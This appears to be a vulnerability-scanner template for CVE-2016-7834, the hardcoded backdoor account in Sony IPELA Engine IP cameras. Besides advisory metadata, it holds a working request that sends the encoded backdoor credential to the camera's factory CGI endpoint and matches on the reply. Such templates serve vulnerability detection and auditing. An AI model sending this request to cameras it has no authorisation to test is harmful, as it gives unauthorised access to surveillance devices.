id: CVE-2016-7834

info:
  name: Sony IPELA Engine IP Camera - Hardcoded Account
  author: af001
  severity: high
  description: |
    Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.
  impact: |
    An attacker can gain unauthorized access to the camera and potentially control its functions.
  remediation: |
    Upgrade to the latest version of the firmware provided by Sony.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/backdoor-vulnerability-in-sony-ipela-engine-ip-cameras/
    - https://www.bleepingcomputer.com/news/security/backdoor-found-in-80-sony-surveillance-camera-models/
    - https://jvn.jp/en/vu/JVNVU96435227/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7834
    - https://www.sony.co.uk/pro/article/sony-new-firmware-for-network-cameras
  classification:
    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-7834
    cwe-id: CWE-200
    epss-score: 0.39457
    epss-percentile: 0.97359
    cpe: cpe:2.3:o:sony:snc_series_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sony
    product: snc_series_firmware
  tags: cve2016,cve,sony,backdoor,unauth,telnet,iot,camera,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/command/prima-factory.cgi"

    headers:
      Authorization: Bearer cHJpbWFuYTpwcmltYW5h

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'gen5th'
          - 'gen6th'
        condition: or

      - type: status
        status:
          - 204
# digest: 490a0046304402201ca8986e8ebd7c9314ec038060fafb085382a07567f230508fcdb65752172386022027215facda33d41a1aa8de32e25337b84958cf510fea8ec19929b3c477149465:922c64590222798bb761d5b6d8e72950